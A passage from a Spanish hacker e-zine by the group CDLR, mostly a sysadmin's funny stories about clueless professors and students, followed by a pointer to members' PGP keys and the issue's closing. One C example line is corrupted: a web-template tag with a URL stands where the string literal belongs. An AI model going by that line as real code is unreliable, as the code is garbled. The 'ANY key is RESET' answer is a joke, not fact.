restaurando el sistema desde un backup, y me llamaron para investigar]
Sysoy: ¿Cuantas cintas hay de backup?
Profesor [poniendo cara de que cachaba]: Una
Sysoy: ¿Una? Son casi 30 Gb de volumen. ¿Puedo ver la cinta?
[me pasan una cinta Travan de 2 Gb]
Sysoy: Aqui es imposible que este todo
Profesor [haciendose el ofendido]: Te aseguro que esta todo, yo mismo lo
grabe
[me mostro lo que habia hecho, que era usar los esotericos comandos del
sistema para formatear la cinta... y eso era todo; pensaba que el formateo
incluia ya el backup]
[lo bueno era el curso de Pascal que les daban a los alumnos, sobre todo si
tenemos en cuenta que mucha gente nunca habia tenido contacto con
computadores]
Alumno: ¿Por que no me corre un programa que he hecho? Se me bloquea la
maquina
Sysoy: ¿Lo has hecho en Turbo Pascal?
Alumno: Si, pero al ejecutarlo se bloquea
Sysoy: ¿No te tira errores al compilar?
Alumno: ¿Compelar? ¿Que es eso?
[perplejo, me entere de que para ejecutarlo simplemente le cambiaba la
extension .PAS a .EXE]
[esta es solo para programadores]
[en otra ocasion hubo un curso de C y UNIX para varios ingenieros que habian
trabajado en Macintosh (lease: Pascal) hasta entonces; la cosa es que
mirando su codigo fuente me lo encontre *lleno* de sentencias
strcat(string,"{jumi [*3] [http://www.govannom.org/e-zines/proyector/proyecto_r11.txt]}");]
Sysoy: ¿Y Por que ponen esto todo el tiempo?
Alumno: ¿No sabes que en C todas las cadenas tienen que acabar en cero?
[nadie se habia molestado en explicarles que strcat no funciona a menos que
la cadena ya este acabada en cero, claro]
Alumno: Apague el pc, lo he vuelto a encender, y me sigue diciendo que ya
puedo apagar el equipo
Sysoy: Eso es imposible
Alumno: Te lo juro, ven a ver
[fuimos]
Alumno: Mira. Apago. Enciendo...
Sysoy: Eso es el monitor.
[ojala me dieran luca por cada vez que he visto esto o una variante :) ...]
Profesor: ¿Me puedes instalar 60 nanosegundos mas de RAM en mi computador?
[un caso claro de oir campanas y no saber donde]
Alumno: ¿Esto son filtros contra las radiaciones nucleares de los monitores?
[si no me tire al suelo muerto de la risa fue por un ejercicio de
autocontrol supremo]
Alumno: El computador me dice que pulse OK, pero no encuentro esa tecla
[ni siquiera se le habia ocurrido pulsar la "O" y luego la "K"]
Alumno: Quiero escribir un 0 en mayusculas. ¿Como lo hago?
[ya me gustaria a mi saberlo...]
Profesor: Tenemos un PC XT antiguo con una disquetera y queremos...
Sysoy: Espere, ¿es una disquetera de 3"1/2 o de 5"1/4?
Profesor: ¿Cual es la diferencia?
[lo que demuestra que cualquiera puede dar clases en una universidad]
Alumno: Me los discos de instalacion de Windows para instalarlo en el
computador de mi papa, pero no me instala...
Sysoy [¿discos? es un chico paciente, anticuado, pero paciente]: ¿Te da
algun mensaje de error?
Alumno: Si, lo anote...
[el papel decia "Este no es un disco Macintosh. ¿Desea inicializarlo?]
Alumno: Oye, ¿este disquete funcionara en los computadores de la sala 8? Es
azul...
[reconozco que esa vez me quede literalmente sin palabras]
Profesor: ¿Cuanto puede costar una caja de discos duros?
[mas de lo que piensa, "profesor"...]
[Al ver venir a este profesor me prepare para todo]
Profesor: Me compre una impresora, pero no me funciona. No se si viene con
tinta o sin ella...
Sysoy: ¿Que impresora es?
Profesor: Una DeskJet.
Sysoy: Hay varias. ¿Que modelo?
Profesor: Eeehhh... no se, es una HP...
Sysoy: Bueno, ¿es en color o en blanco y negro?
Profesor: Es gris...
[esta nunca se la cree nadie, pero si conocieran al profesor les
sorprenderia...]
Profesor: Nos falla la conexion a Internet en el laboratorio, creo que el
modem no tiene
suficiente RAM...
[me gustaria saber de donde saca la gente ciertas ideas...]
[Esta es la que mas se me ha repetido]
Profesor: Oye, mira. El pc me esta pidiendo que pulse la tecla ANY y no la
encuentro...
[El muy bestia ni siquiera habian probado presionando "A","N","Y"...]
Sysoy: Al boton de RESET se le conoce como tecla ANY.
Profesor [con cara de aliviado]: Oh, gracias... sabes mucho.
[de mas esta decir que nunca me ha perdonado eso]
[La otra vez vi que un grupo de profesores se estaban burlando de otro
profe, me acerque a reirme un poco]
Sysoy: Hola, de que se rien?
Profes: Je... Es que este otro dijo que habia pasado 12 hora seguidas en el
computador.
[no me atrevi a decirles que yo me he pasado mas de 28 horas sin parar]
General Failure.
:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:
-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-
..--:: 18 Llaves PGP ::--..
by CDLR
Nunca jamas hemos recibido ni un solo mail encriptado, que verguenza,
pero en fin, por si alguien quiere escribir algo delicado, o si
simplemente quiere mantener un minimo de privacidad, aqui puedes encontrar
las llaves de todos los miembros de CDLR.
www.cdlr.org/llaves/
:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:
-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-
..--:: 19 EOF::--..
by Editor
Llegamos al fin de otro numero mas de nuestra querida R, si te ha gustado,
genial, si no, .. envianos un articulo mejor :D
:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:
-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-
"El ser hacker yo lo veo un poco como ser hippie"
Cucumber
|